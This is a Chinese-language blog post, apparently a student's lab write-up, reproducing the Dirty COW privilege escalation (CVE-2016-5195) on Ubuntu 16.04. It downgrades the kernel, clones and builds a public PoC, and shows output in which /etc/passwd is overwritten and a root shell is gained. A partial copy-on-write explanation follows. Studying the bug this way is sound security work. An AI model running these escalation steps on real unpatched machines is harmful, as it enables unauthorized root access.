CVE-2016-5195

Dirty Cow 提权漏洞复现。

前言

比较有名的漏洞,刚好系统安全的作业就是要复现这个漏洞,正好写了。

复现

中大镜像站内网镜像下载地址:https://mirrors.matrix.moe/ubuntu-releases/16.04/ubuntu-16.04.7-desktop-amd64.iso

下一个 Ubuntu 16.04 的镜像(这个是因为作业让我用这个版本,选其他的应该也行),看一下内核版本

1
2
$ uname -a
Linux ubuntu 4.15.0-112-generic #113~16.04.1-Ubuntu SMP Fri Jul 10 04:37:08 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

太新了,换个老点的 kernel,可以大概参考官方的 Patched Kernel Versions(但是好像不完全准确?),我选了 4.4.0

1
2
sudo apt-get install linux-image-4.4.0-21-generic \
linux-headers-4.4.0-21-generic

再改一下 GRUB 配置

1
sudo nano /etc/default/grub

改成如下配置,没有的就加上

1
2
GRUB_TIMEOUT=10
GRUB_TIMEOUT_STYLE=menu

然后更新一下 GRUB(别忘了)

1
sudo update-grub

重启一下,在 GRUB 菜单选择 Advanced options for Ubuntu,然后选择 4.4.0-21-generic 版本的内核,回车进入系统。

1
2
uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

看到内核已经是老的了,可以开搞了。
去 GitHub 偷一个 PoC

1
2
3
git clone https://github.com/gbonacini/CVE-2016-5195.git
cd CVE-2016-5195
make

然后执行一下,root 就到手了

1
2
3
4
5
6
7
8
9
10
11
12
$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

\cp /tmp/.ssh_bak /etc/passwd
\rm /tmp/.ssh_bak
root@ubuntu:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@ubuntu:~# \cp /tmp/.ssh_bak /etc/passwd
root@ubuntu:~# \rm /tmp/.ssh_bak
root@ubuntu:~#

拓展之 GRUB

GRUB,全称 GRand Unified Bootloader,就是一个引导程序,是计算机启动时第一个加载的软件,负责加载操作系统的内核,然后由内核初始化操作系统的其他部分(如 shell、显示管理、桌面环境等)。

但是还有一个有意思的点 —— GRUB 既是引导程序,也是一个引导管理器。

那么引导管理器又是个什么东东呢?

也不复杂,它的作用就是让你能选择不同的操作系统(当然你得有两个以上的操作系统才有得选是吧)

原理

极致省流版原理:条件竞争导致只读文件被写入

可以先说说这个命令的由来,相信熟悉 Docker 的同学对写时复制(Copy-On-Write)这个概念并不陌生,这个机制的意思就是一个资源被复制成两份时,如果双方都不存在修改,那么实际上就只会存在一份资源。熟悉 Python 的同学也可以尝试一下如下代码:

1
2
3
4
5
6
a = 1
b = 1
print(id(a), id(b)) # 140714691031848 140714691031848
print(a is b) # True
a = 2
print(id(a), id(b)) # 140714691031880 140714691031848

// To be continued…

总结

有种把最近学的都串起来的爽感,包括 COW、条件竞争这些。

参考

CVE-2016-5195
经典内核漏洞复现之 dirtycow
Linux Jargon Buster: What is Grub in Linux? What is it Used for?

作者

未央

发布于

2025-04-14

更新于

2025-04-16

许可协议

评论